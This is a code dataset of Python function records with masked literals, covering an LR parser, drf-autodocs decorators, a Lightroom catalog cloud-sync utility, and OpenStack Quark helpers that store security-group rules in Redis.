{"signature": "def parse(self, raw):", "body": "lexer = self.LEXER(raw)<EOL>tokens = iter(itertools.chain(lexer, [END_OF_INPUT_TOKEN]))<EOL>stack = [(self.INITIAL_STATE, '<STR_LIT>', '<STR_LIT>')]<EOL>token = next(tokens)<EOL>while stack:<EOL><INDENT>state, _, _ = stack[-<NUM_LIT:1>]<EOL>action = self.ACTION.get((state, token.name))<EOL>if action is None:<EOL><INDENT>raise StartSymbolNotReducedError(self.START)<EOL><DEDENT>if action[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>production = action[<NUM_LIT:1>]<EOL>if len(production):<EOL><INDENT>args = (item[<NUM_LIT:2>] for item in stack[-len(production):])<EOL>del stack[-len(production):]<EOL><DEDENT>else:<EOL><INDENT>args = []<EOL><DEDENT>prev_state, _, _ = stack[-<NUM_LIT:1>]<EOL>new_state = self.GOTO[prev_state, production.lhs]<EOL>stack.append((<EOL>new_state,<EOL>production.lhs,<EOL>production.func(self, *args),<EOL>))<EOL><DEDENT>elif action[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>stack.append((action[<NUM_LIT:1>], token.name, token.value))<EOL>token = next(tokens)<EOL><DEDENT>elif action[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>return stack[-<NUM_LIT:1>][<NUM_LIT:2>]<EOL><DEDENT><DEDENT>", "docstring": "Parses an input string and applies the parser's grammar.", "id": "f10580:c1:m0"}
{"signature": "@document_func_view(serializer_class=BookSerializer, response_serializer_class=LibrarySerializer,<EOL>doc_format_args=('<STR_LIT>',))<EOL>@api_view(['<STR_LIT:GET>', '<STR_LIT:POST>', '<STR_LIT>'])<EOL>def hello_world(request):", "body": "return Response('<STR_LIT>')<EOL>", "docstring": "Works for `functional` views too!\nYeah, that thing rocks!\nAnd allows formatting {}", "id": "f10592:m0"}
{"signature": "def document_func_view(serializer_class=None,<EOL>response_serializer_class=None,<EOL>filter_backends=None,<EOL>permission_classes=None,<EOL>authentication_classes=None,<EOL>doc_format_args=list(),<EOL>doc_format_kwargs=dict()):", "body": "def decorator(func):<EOL><INDENT>if serializer_class:<EOL><INDENT>func.cls.serializer_class = func.view_class.serializer_class = serializer_class<EOL><DEDENT>if response_serializer_class:<EOL><INDENT>func.cls.response_serializer_class = func.view_class.response_serializer_class = response_serializer_class<EOL><DEDENT>if filter_backends:<EOL><INDENT>func.cls.filter_backends = func.view_class.filter_backends = filter_backends<EOL><DEDENT>if permission_classes:<EOL><INDENT>func.cls.permission_classes = func.view_class.permission_classes = permission_classes<EOL><DEDENT>if authentication_classes:<EOL><INDENT>func.cls.authentication_classes = func.view_class.authentication_classes = authentication_classes<EOL><DEDENT>if doc_format_args or doc_format_kwargs:<EOL><INDENT>func.cls.__doc__ = func.view_class.__doc__ = getdoc(func).format(*doc_format_args, **doc_format_kwargs)<EOL><DEDENT>return func<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator to make functional view documentable via drf-autodocs", "id": "f10612:m0"}
{"signature": "def format_docstring(*args, **kwargs):", "body": "def decorator(func):<EOL><INDENT>func.__doc__ = getdoc(func).format(*args, **kwargs)<EOL>return func<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator for clean docstring formatting", "id": "f10612:m1"}
{"signature": "def copy(src, dst):", "body": "(szip, dzip) = (src.endswith(\"<STR_LIT>\"), dst.endswith(\"<STR_LIT>\"))<EOL>logging.info(\"<STR_LIT>\"%(src, dst))<EOL>if szip and dzip:<EOL><INDENT>shutil.copy2(src, dst)<EOL><DEDENT>elif szip:<EOL><INDENT>with zipfile.ZipFile(src, mode='<STR_LIT:r>') as z:<EOL><INDENT>tmpdir = tempfile.mkdtemp()<EOL>try:<EOL><INDENT>z.extractall(tmpdir)<EOL>if len(z.namelist()) != <NUM_LIT:1>:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"\"<STR_LIT>\"%src)<EOL><DEDENT>tmpfile = join(tmpdir,z.namelist()[<NUM_LIT:0>])<EOL>try:<EOL><INDENT>os.remove(dst)<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT>shutil.move(tmpfile, dst)<EOL><DEDENT>finally:<EOL><INDENT>shutil.rmtree(tmpdir, ignore_errors=True)<EOL><DEDENT><DEDENT><DEDENT>elif dzip:<EOL><INDENT>with zipfile.ZipFile(dst, mode='<STR_LIT:w>', compression=ZIP_DEFLATED) as z:<EOL><INDENT>z.write(src, arcname=basename(src))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>shutil.copy2(src, dst)<EOL><DEDENT>", "docstring": "File copy that support compress and decompress of zip files", "id": "f10614:m0"}
{"signature": "def remove(path):", "body": "try:<EOL><INDENT>if isfile(path):<EOL><INDENT>os.remove(path)<EOL><DEDENT>else:<EOL><INDENT>shutil.rmtree(path, ignore_errors=True)<EOL><DEDENT><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Remove file or dir if exist", "id": "f10614:m1"}
{"signature": "def apply_changesets(args, changesets, catalog):", "body": "tmpdir = tempfile.mkdtemp()<EOL>tmp_patch = join(tmpdir, \"<STR_LIT>\")<EOL>tmp_lcat  = join(tmpdir, \"<STR_LIT>\")<EOL>for node in changesets:<EOL><INDENT>remove(tmp_patch)<EOL>copy(node.mfile['<STR_LIT>']['<STR_LIT:filename>'], tmp_patch)<EOL>logging.info(\"<STR_LIT>\"%(catalog, tmp_lcat))<EOL>shutil.move(catalog, tmp_lcat)<EOL>cmd = args.patch_cmd.replace(\"<STR_LIT>\", tmp_lcat).replace(\"<STR_LIT>\", tmp_patch).replace(\"<STR_LIT>\", catalog)<EOL>logging.info(\"<STR_LIT>\"%cmd)<EOL>subprocess.check_call(cmd, shell=True)<EOL><DEDENT>shutil.rmtree(tmpdir, ignore_errors=True)<EOL>", "docstring": "Apply to the 'catalog' the changesets in the metafile list 'changesets", "id": "f10614:m2"}
{"signature": "def lock_file(filename):", "body": "lockfile = \"<STR_LIT>\"%filename<EOL>if isfile(lockfile):<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>with open(lockfile, \"<STR_LIT:w>\"):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Locks the file by writing a '.lock' file.\n       Returns True when the file is locked and\n       False when the file was locked already", "id": "f10617:m0"}
{"signature": "def unlock_file(filename):", "body": "lockfile = \"<STR_LIT>\"%filename<EOL>if isfile(lockfile):<EOL><INDENT>os.remove(lockfile)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Unlocks the file by remove a '.lock' file.\n       Returns True when the file is unlocked and\n       False when the file was unlocked already", "id": "f10617:m1"}
{"signature": "def copy_smart_previews(local_catalog, cloud_catalog, local2cloud=True):", "body": "lcat_noext = local_catalog[<NUM_LIT:0>:local_catalog.rfind(\"<STR_LIT>\")]<EOL>ccat_noext = cloud_catalog[<NUM_LIT:0>:cloud_catalog.rfind(\"<STR_LIT>\")]<EOL>lsmart = join(dirname(local_catalog),\"<STR_LIT>\"%basename(lcat_noext))<EOL>csmart = join(dirname(cloud_catalog),\"<STR_LIT>\"%basename(ccat_noext))<EOL>if local2cloud and os.path.isdir(lsmart):<EOL><INDENT>logging.info(\"<STR_LIT>\"%(lsmart, csmart))<EOL>distutils.dir_util.copy_tree(lsmart,csmart, update=<NUM_LIT:1>)<EOL><DEDENT>elif os.path.isdir(csmart):<EOL><INDENT>logging.info(\"<STR_LIT>\"%(csmart, lsmart))<EOL>distutils.dir_util.copy_tree(csmart,lsmart, update=<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Copy Smart Previews from local to cloud or\n       vica versa when 'local2cloud==False'\n       NB: nothing happens if source dir doesn't exist", "id": "f10617:m2"}
{"signature": "def hashsum(filename):", "body": "with open(filename, mode='<STR_LIT:rb>') as f:<EOL><INDENT>d = hashlib.sha1()<EOL>for buf in iter(partial(f.read, <NUM_LIT:2>**<NUM_LIT:20>), b'<STR_LIT>'):<EOL><INDENT>d.update(buf)<EOL><DEDENT><DEDENT>return d.hexdigest()<EOL>", "docstring": "Return a hash of the file From <http://stackoverflow.com/a/7829658>", "id": "f10617:m3"}
{"signature": "def cmd_init_push_to_cloud(args):", "body": "(lcat, ccat) = (args.local_catalog, args.cloud_catalog)<EOL>logging.info(\"<STR_LIT>\"%(lcat, ccat))<EOL>if not isfile(lcat):<EOL><INDENT>args.error(\"<STR_LIT>\"%lcat)<EOL><DEDENT>if isfile(ccat):<EOL><INDENT>args.error(\"<STR_LIT>\"%ccat)<EOL><DEDENT>(lmeta, cmeta) = (\"<STR_LIT>\"%lcat, \"<STR_LIT>\"%ccat)<EOL>if isfile(lmeta):<EOL><INDENT>args.error(\"<STR_LIT>\"%lmeta)<EOL><DEDENT>if isfile(cmeta):<EOL><INDENT>args.error(\"<STR_LIT>\"%cmeta)<EOL><DEDENT>logging.info(\"<STR_LIT>\"%(lcat))<EOL>if not lock_file(lcat):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"%lcat)<EOL><DEDENT>util.copy(lcat, ccat)<EOL>mfile = MetaFile(lmeta)<EOL>utcnow = datetime.utcnow().strftime(DATETIME_FORMAT)[:-<NUM_LIT:4>]<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = hashsum(lcat)<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = utcnow<EOL>mfile['<STR_LIT>']['<STR_LIT:filename>'] = lcat<EOL>mfile['<STR_LIT>']['<STR_LIT:filename>'] = ccat<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = hashsum(lcat)<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = utcnow<EOL>mfile.flush()<EOL>mfile = MetaFile(cmeta)<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = True<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = hashsum(lcat)<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = utcnow<EOL>mfile['<STR_LIT>']['<STR_LIT:filename>'] = basename(ccat)<EOL>mfile.flush()<EOL>if not args.no_smart_previews:<EOL><INDENT>copy_smart_previews(lcat, ccat, local2cloud=True)<EOL><DEDENT>logging.info(\"<STR_LIT>\"%(lcat))<EOL>unlock_file(lcat)<EOL>logging.info(\"<STR_LIT>\")<EOL>", "docstring": "Initiate the local catalog and push it the cloud", "id": "f10617:m4"}
{"signature": "def cmd_init_pull_from_cloud(args):", "body": "(lcat, ccat) = (args.local_catalog, args.cloud_catalog)<EOL>logging.info(\"<STR_LIT>\"%(ccat, lcat))<EOL>if isfile(lcat):<EOL><INDENT>args.error(\"<STR_LIT>\"%lcat)<EOL><DEDENT>if not isfile(ccat):<EOL><INDENT>args.error(\"<STR_LIT>\"%ccat)<EOL><DEDENT>(lmeta, cmeta) = (\"<STR_LIT>\"%lcat, \"<STR_LIT>\"%ccat)<EOL>if isfile(lmeta):<EOL><INDENT>args.error(\"<STR_LIT>\"%lmeta)<EOL><DEDENT>if not isfile(cmeta):<EOL><INDENT>args.error(\"<STR_LIT>\"%cmeta)<EOL><DEDENT>logging.info(\"<STR_LIT>\"%(lcat))<EOL>if not lock_file(lcat):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"%lcat)<EOL><DEDENT>util.copy(ccat, lcat)<EOL>cloudDAG = ChangesetDAG(ccat)<EOL>path = cloudDAG.path(cloudDAG.root.hash, cloudDAG.leafs[<NUM_LIT:0>].hash)<EOL>util.apply_changesets(args, path, lcat)<EOL>mfile = MetaFile(lmeta)<EOL>utcnow = datetime.utcnow().strftime(DATETIME_FORMAT)[:-<NUM_LIT:4>]<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = hashsum(lcat)<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = utcnow<EOL>mfile['<STR_LIT>']['<STR_LIT:filename>'] = lcat<EOL>mfile['<STR_LIT>']['<STR_LIT:filename>'] = cloudDAG.leafs[<NUM_LIT:0>].mfile['<STR_LIT>']['<STR_LIT:filename>']<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = cloudDAG.leafs[<NUM_LIT:0>].mfile['<STR_LIT>']['<STR_LIT>']<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = cloudDAG.leafs[<NUM_LIT:0>].mfile['<STR_LIT>']['<STR_LIT>']<EOL>mfile.flush()<EOL>if not args.no_smart_previews:<EOL><INDENT>copy_smart_previews(lcat, ccat, local2cloud=False)<EOL><DEDENT>logging.info(\"<STR_LIT>\"%(lcat))<EOL>unlock_file(lcat)<EOL>logging.info(\"<STR_LIT>\")<EOL>", "docstring": "Initiate the local catalog by downloading the cloud catalog", "id": "f10617:m5"}
{"signature": "def cmd_normal(args):", "body": "logging.info(\"<STR_LIT>\")<EOL>(lcat, ccat) = (args.local_catalog, args.cloud_catalog)<EOL>(lmeta, cmeta) = (\"<STR_LIT>\"%lcat, \"<STR_LIT>\"%ccat)<EOL>if not isfile(lcat):<EOL><INDENT>args.error(\"<STR_LIT>\"%lcat)<EOL><DEDENT>if not isfile(ccat):<EOL><INDENT>args.error(\"<STR_LIT>\"%ccat)<EOL><DEDENT>logging.info(\"<STR_LIT>\"%(lcat))<EOL>if not lock_file(lcat):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"%lcat)<EOL><DEDENT>logging.info(\"<STR_LIT>\"%lcat)<EOL>util.remove(\"<STR_LIT>\"%lcat)<EOL>util.copy(lcat, \"<STR_LIT>\"%lcat)<EOL>lmfile = MetaFile(lmeta)<EOL>cmfile = MetaFile(cmeta)<EOL>cloudDAG = ChangesetDAG(ccat)<EOL>path = cloudDAG.path(lmfile['<STR_LIT>']['<STR_LIT>'], cloudDAG.leafs[<NUM_LIT:0>].hash)<EOL>util.apply_changesets(args, path, lcat)<EOL>if not args.no_smart_previews:<EOL><INDENT>copy_smart_previews(lcat, ccat, local2cloud=False)<EOL><DEDENT>logging.info(\"<STR_LIT>\"%lcat)<EOL>util.remove(\"<STR_LIT>\"%lcat)<EOL>util.copy(lcat, \"<STR_LIT>\"%lcat)<EOL>logging.info(\"<STR_LIT>\"%(lcat))<EOL>unlock_file(lcat)<EOL>if args.lightroom_exec_debug:<EOL><INDENT>logging.info(\"<STR_LIT>\"%(args.lightroom_exec_debug, lcat))<EOL>with open(lcat, \"<STR_LIT:a>\") as f:<EOL><INDENT>f.write(\"<STR_LIT>\"%args.lightroom_exec_debug)<EOL><DEDENT><DEDENT>elif args.lightroom_exec:<EOL><INDENT>logging.info(\"<STR_LIT>\"%(args.lightroom_exec, lcat))<EOL>subprocess.call([args.lightroom_exec, lcat])<EOL><DEDENT>tmpdir = tempfile.mkdtemp()<EOL>tmp_patch = join(tmpdir, \"<STR_LIT>\")<EOL>diff_cmd = args.diff_cmd.replace(\"<STR_LIT>\", \"<STR_LIT>\"%lcat).replace(\"<STR_LIT>\", lcat).replace(\"<STR_LIT>\", tmp_patch)<EOL>logging.info(\"<STR_LIT>\"%diff_cmd)<EOL>subprocess.call(diff_cmd, shell=True)<EOL>patch = \"<STR_LIT>\"%(ccat, hashsum(tmp_patch))<EOL>util.copy(tmp_patch, patch)<EOL>mfile = MetaFile(\"<STR_LIT>\"%patch)<EOL>utcnow = datetime.utcnow().strftime(DATETIME_FORMAT)[:-<NUM_LIT:4>]<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = False<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = hashsum(tmp_patch)<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = utcnow<EOL>mfile['<STR_LIT>']['<STR_LIT:filename>'] = basename(patch)<EOL>mfile['<STR_LIT>']['<STR_LIT>']          = cloudDAG.leafs[<NUM_LIT:0>].mfile['<STR_LIT>']['<STR_LIT>']<EOL>mfile['<STR_LIT>']['<STR_LIT>']             = cloudDAG.leafs[<NUM_LIT:0>].mfile['<STR_LIT>']['<STR_LIT>']<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = cloudDAG.leafs[<NUM_LIT:0>].mfile['<STR_LIT>']['<STR_LIT>']<EOL>mfile['<STR_LIT>']['<STR_LIT:filename>']         = basename(cloudDAG.leafs[<NUM_LIT:0>].mfile['<STR_LIT>']['<STR_LIT:filename>'])<EOL>mfile.flush()<EOL>mfile = MetaFile(lmeta)<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = hashsum(lcat)<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = utcnow<EOL>mfile['<STR_LIT>']['<STR_LIT:filename>'] = patch<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = hashsum(tmp_patch)<EOL>mfile['<STR_LIT>']['<STR_LIT>'] = utcnow<EOL>mfile.flush()<EOL>shutil.rmtree(tmpdir, ignore_errors=True)<EOL>if not args.no_smart_previews:<EOL><INDENT>copy_smart_previews(lcat, ccat, local2cloud=True)<EOL><DEDENT>logging.info(\"<STR_LIT>\"%(lcat))<EOL>unlock_file(lcat)<EOL>", "docstring": "Normal procedure:\n        * Pull from cloud (if necessary)\n        * Run Lightroom\n        * Push to cloud", "id": "f10617:m6"}
{"signature": "def parse_arguments(argv=None):", "body": "def default_config_path():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if os.name == \"<STR_LIT>\":<EOL><INDENT>return join(os.getenv('<STR_LIT>'), \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return join(os.path.expanduser(\"<STR_LIT>\"), \"<STR_LIT>\")<EOL><DEDENT><DEDENT>parser = argparse.ArgumentParser(<EOL>description='<STR_LIT>',<EOL>formatter_class=argparse.ArgumentDefaultsHelpFormatter)<EOL>cmd_group = parser.add_mutually_exclusive_group()<EOL>cmd_group.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\"<EOL>)<EOL>cmd_group.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\"<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>type=lambda x: os.path.expanduser(x)<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>type=lambda x: os.path.expanduser(x)<EOL>)<EOL>lr_exec = parser.add_mutually_exclusive_group()<EOL>lr_exec.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>type=str<EOL>)<EOL>lr_exec.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>type=str<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>action=\"<STR_LIT:store_true>\"<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store_true>\"<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"<STR_LIT>\",<EOL>type=str,<EOL>default=default_config_path()<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>type=str,<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>type=str,<EOL>)<EOL>args = parser.parse_args(args=argv)<EOL>args.error = parser.error<EOL>if args.config_file in ['<STR_LIT>', '<STR_LIT:none>', '<STR_LIT:None>', \"<STR_LIT>\", '<STR_LIT>']:<EOL><INDENT>args.config_file = None<EOL><DEDENT>if args.verbose:<EOL><INDENT>logging.basicConfig(level=logging.INFO)<EOL><DEDENT>config_parser.read(args)<EOL>(lcat, ccat) = (args.local_catalog, args.cloud_catalog)<EOL>if lcat is None:<EOL><INDENT>parser.error(\"<STR_LIT>\")<EOL><DEDENT>if ccat is None:<EOL><INDENT>parser.error(\"<STR_LIT>\")<EOL><DEDENT>return args<EOL>", "docstring": "Return arguments", "id": "f10617:m7"}
{"signature": "def path(self, a_hash, b_hash):", "body": "def _path(a, b):<EOL><INDENT>if a is b:<EOL><INDENT>return [a]<EOL><DEDENT>else:<EOL><INDENT>assert len(a.children) == <NUM_LIT:1><EOL>return [a] + _path(a.children[<NUM_LIT:0>], b)<EOL><DEDENT><DEDENT>a = self.nodes[a_hash]<EOL>b = self.nodes[b_hash]<EOL>return _path(a, b)[<NUM_LIT:1>:]<EOL>", "docstring": "Return nodes in the path between 'a' and 'b' going from\n        parent to child NOT including 'a", "id": "f10617:c1:m2"}
{"signature": "def read(args):", "body": "if args.config_file is None or not isfile(args.config_file):<EOL><INDENT>return<EOL><DEDENT>logging.info(\"<STR_LIT>\"%args.config_file)<EOL>config = cparser.ConfigParser()<EOL>config.read(args.config_file)<EOL>if not config.has_section('<STR_LIT>'):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>for (name, value) in config.items('<STR_LIT>'):<EOL><INDENT>if value == \"<STR_LIT:True>\":<EOL><INDENT>value = True<EOL><DEDENT>elif value == \"<STR_LIT:False>\":<EOL><INDENT>value = False<EOL><DEDENT>if getattr(args, name) is None:<EOL><INDENT>setattr(args, name, value)<EOL><DEDENT><DEDENT>", "docstring": "Reading the configure file and adds non-existing attributes to 'args", "id": "f10619:m0"}
{"signature": "def write(args):", "body": "logging.info(\"<STR_LIT>\"%args.config_file)<EOL>if args.config_file is None:<EOL><INDENT>return<EOL><DEDENT>config = cparser.ConfigParser()<EOL>config.add_section(\"<STR_LIT>\")<EOL>for p in [x for x in dir(args) if not x.startswith(\"<STR_LIT:_>\")]:<EOL><INDENT>if p in IGNORE_ARGS:<EOL><INDENT>continue<EOL><DEDENT>value = getattr(args, p)<EOL>if value is not None:<EOL><INDENT>config.set('<STR_LIT>', p, str(value))<EOL><DEDENT><DEDENT>with open(args.config_file, '<STR_LIT:w>') as f:<EOL><INDENT>config.write(f)<EOL><DEDENT>", "docstring": "Writing the configure file with the attributes in 'args", "id": "f10619:m1"}
{"signature": "def serialize_rules(self, rules):", "body": "<EOL>serialized = []<EOL>for rule in rules:<EOL><INDENT>direction = rule[\"<STR_LIT>\"]<EOL>source = '<STR_LIT>'<EOL>destination = '<STR_LIT>'<EOL>if rule.get(\"<STR_LIT>\"):<EOL><INDENT>prefix = rule[\"<STR_LIT>\"]<EOL>if direction == \"<STR_LIT>\":<EOL><INDENT>source = self._convert_remote_network(prefix)<EOL><DEDENT>else:<EOL><INDENT>if (Capabilities.EGRESS not in<EOL>CONF.QUARK.environment_capabilities):<EOL><INDENT>raise q_exc.EgressSecurityGroupRulesNotEnabled()<EOL><DEDENT>else:<EOL><INDENT>destination = self._convert_remote_network(prefix)<EOL><DEDENT><DEDENT><DEDENT>optional_fields = {}<EOL>protocol_map = protocols.PROTOCOL_MAP[rule[\"<STR_LIT>\"]]<EOL>if rule[\"<STR_LIT>\"] == protocol_map[\"<STR_LIT>\"]:<EOL><INDENT>optional_fields[\"<STR_LIT>\"] = rule[\"<STR_LIT>\"]<EOL>optional_fields[\"<STR_LIT>\"] = rule[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>optional_fields[\"<STR_LIT>\"] = rule[\"<STR_LIT>\"]<EOL>optional_fields[\"<STR_LIT>\"] = rule[\"<STR_LIT>\"]<EOL><DEDENT>payload = {\"<STR_LIT>\": rule[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": rule[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": source,<EOL>\"<STR_LIT>\": destination,<EOL>\"<STR_LIT:action>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": direction}<EOL>payload.update(optional_fields)<EOL>serialized.append(payload)<EOL><DEDENT>return serialized<EOL>", "docstring": "Creates a payload for the redis server.", "id": "f10622:c0:m1"}
{"signature": "def serialize_groups(self, groups):", "body": "rules = []<EOL>for group in groups:<EOL><INDENT>rules.extend(self.serialize_rules(group.rules))<EOL><DEDENT>return rules<EOL>", "docstring": "Creates a payload for the redis server\n\n        The rule schema is the following:\n\n        REDIS KEY - port_device_id.port_mac_address/sg\n        REDIS VALUE - A JSON dump of the following:\n\n        port_mac_address must be lower-cased and stripped of non-alphanumeric\n        characters\n\n        {\"id\": \"<arbitrary uuid>\",\n          \"rules\": [\n            {\"ethertype\": <hexademical integer>,\n             \"protocol\": <integer>,\n             \"port start\": <integer>,  # optional\n             \"port end\": <integer>,    # optional\n             \"icmp type\": <integer>,   # optional\n             \"icmp code\": <integer>,   # optional\n             \"source network\": <string>,\n             \"destination network\": <string>,\n             \"action\": <string>,\n             \"direction\": <string>},\n          ],\n          \"security groups ack\": <boolean>\n        }\n\n        Example:\n        {\"id\": \"004c6369-9f3d-4d33-b8f5-9416bf3567dd\",\n         \"rules\": [\n           {\"ethertype\": 0x800,\n            \"protocol\": \"tcp\",\n            \"port start\": 1000,\n            \"port end\": 1999,\n            \"source network\": \"10.10.10.0/24\",\n            \"destination network\": \"\",\n            \"action\": \"allow\",\n            \"direction\": \"ingress\"},\n          ],\n          \"security groups ack\": \"true\"\n        }\n\n        port start/end and icmp type/code are mutually exclusive pairs.", "id": "f10622:c0:m2"}
{"signature": "def apply_rules(self, device_id, mac_address, rules):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(device_id, mac_address))<EOL>rule_dict = {SECURITY_GROUP_RULE_KEY: rules}<EOL>redis_key = self.vif_key(device_id, mac_address)<EOL>self.set_field(redis_key, SECURITY_GROUP_HASH_ATTR, rule_dict)<EOL>self.set_field_raw(redis_key, SECURITY_GROUP_ACK, False)<EOL>", "docstring": "Writes a series of security group rules to a redis server.", "id": "f10622:c0:m4"}
{"signature": "@utils.retry_loop(<NUM_LIT:3>)<EOL><INDENT>def get_security_group_states(self, interfaces):<DEDENT>", "body": "LOG.debug(\"<STR_LIT>\".format(<EOL>interfaces))<EOL>interfaces = tuple(interfaces)<EOL>vif_keys = [self.vif_key(vif.device_id, vif.mac_address)<EOL>for vif in interfaces]<EOL>sec_grp_all = self.get_fields_all(vif_keys)<EOL>ret = {}<EOL>for vif, group in zip(interfaces, sec_grp_all):<EOL><INDENT>if group:<EOL><INDENT>ret[vif] = {SECURITY_GROUP_ACK: None,<EOL>SECURITY_GROUP_HASH_ATTR: []}<EOL>temp_ack = group[SECURITY_GROUP_ACK].lower()<EOL>temp_rules = group[SECURITY_GROUP_HASH_ATTR]<EOL>if temp_rules:<EOL><INDENT>temp_rules = json.loads(temp_rules)<EOL>ret[vif][SECURITY_GROUP_HASH_ATTR] = temp_rules[\"<STR_LIT>\"]<EOL><DEDENT>if \"<STR_LIT:true>\" in temp_ack:<EOL><INDENT>ret[vif][SECURITY_GROUP_ACK] = True<EOL><DEDENT>elif \"<STR_LIT:false>\" in temp_ack:<EOL><INDENT>ret[vif][SECURITY_GROUP_ACK] = False<EOL><DEDENT>else:<EOL><INDENT>ret.pop(vif, None)<EOL>LOG.debug(\"<STR_LIT>\" % temp_ack)<EOL><DEDENT><DEDENT><DEDENT>return ret<EOL>", "docstring": "Gets security groups for interfaces from Redis\n\n        Returns a dictionary of xapi.VIFs with values of the current\n        acknowledged status in Redis.\n\n        States not explicitly handled:\n        * ack key, no rules - This is the same as just tagging the VIF,\n          the instance will be inaccessible\n        * rules key, no ack - Nothing will happen, the VIF will\n          not be tagged.", "id": "f10622:c0:m7"}
{"signature": "@utils.retry_loop(<NUM_LIT:3>)<EOL><INDENT>def update_group_states_for_vifs(self, vifs, ack):<DEDENT>", "body": "vif_keys = [self.vif_key(vif.device_id, vif.mac_address)<EOL>for vif in vifs]<EOL>self.set_fields(vif_keys, SECURITY_GROUP_ACK, ack)<EOL>", "docstring": "Updates security groups by setting the ack field", "id": "f10622:c0:m8"}
{"signature": "def _make_job_dict(job):", "body": "body = {\"<STR_LIT:id>\": job.get('<STR_LIT:id>'),<EOL>\"<STR_LIT:action>\": job.get('<STR_LIT:action>'),<EOL>\"<STR_LIT>\": job.get('<STR_LIT>'),<EOL>\"<STR_LIT>\": job.get('<STR_LIT>'),<EOL>\"<STR_LIT>\": job.get('<STR_LIT>'),<EOL>\"<STR_LIT>\": job.get('<STR_LIT>'),<EOL>\"<STR_LIT>\": job.get('<STR_LIT>', None)}<EOL>if not body['<STR_LIT>']:<EOL><INDENT>body['<STR_LIT>'] = job.get('<STR_LIT:id>')<EOL><DEDENT>completed = <NUM_LIT:0><EOL>for sub in job.subtransactions:<EOL><INDENT>if sub.get('<STR_LIT>'):<EOL><INDENT>completed += <NUM_LIT:1><EOL><DEDENT><DEDENT>pct = <NUM_LIT:100> if job.get('<STR_LIT>') else <NUM_LIT:0><EOL>if len(job.subtransactions) > <NUM_LIT:0>:<EOL><INDENT>pct = float(completed) / len(job.subtransactions) * <NUM_LIT><EOL><DEDENT>body['<STR_LIT>'] = int(pct)<EOL>body['<STR_LIT>'] = completed<EOL>body['<STR_LIT>'] = len(job.subtransactions)<EOL>return body<EOL>", "docstring": "Creates the view for a job while calculating progress.\n\n    Since a root job does not have a transaction id (TID) it will return its\n    id as the TID.", "id": "f10625:m21"}
{"signature": "def filter_factory(global_conf, **local_conf):", "body": "conf = global_conf.copy()<EOL>conf.update(local_conf)<EOL>def wrapper(app):<EOL><INDENT>return ResponseAsyncIdAdder(app, conf)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Returns a WSGI filter app for use with paste.deploy.", "id": "f10626:m0"}
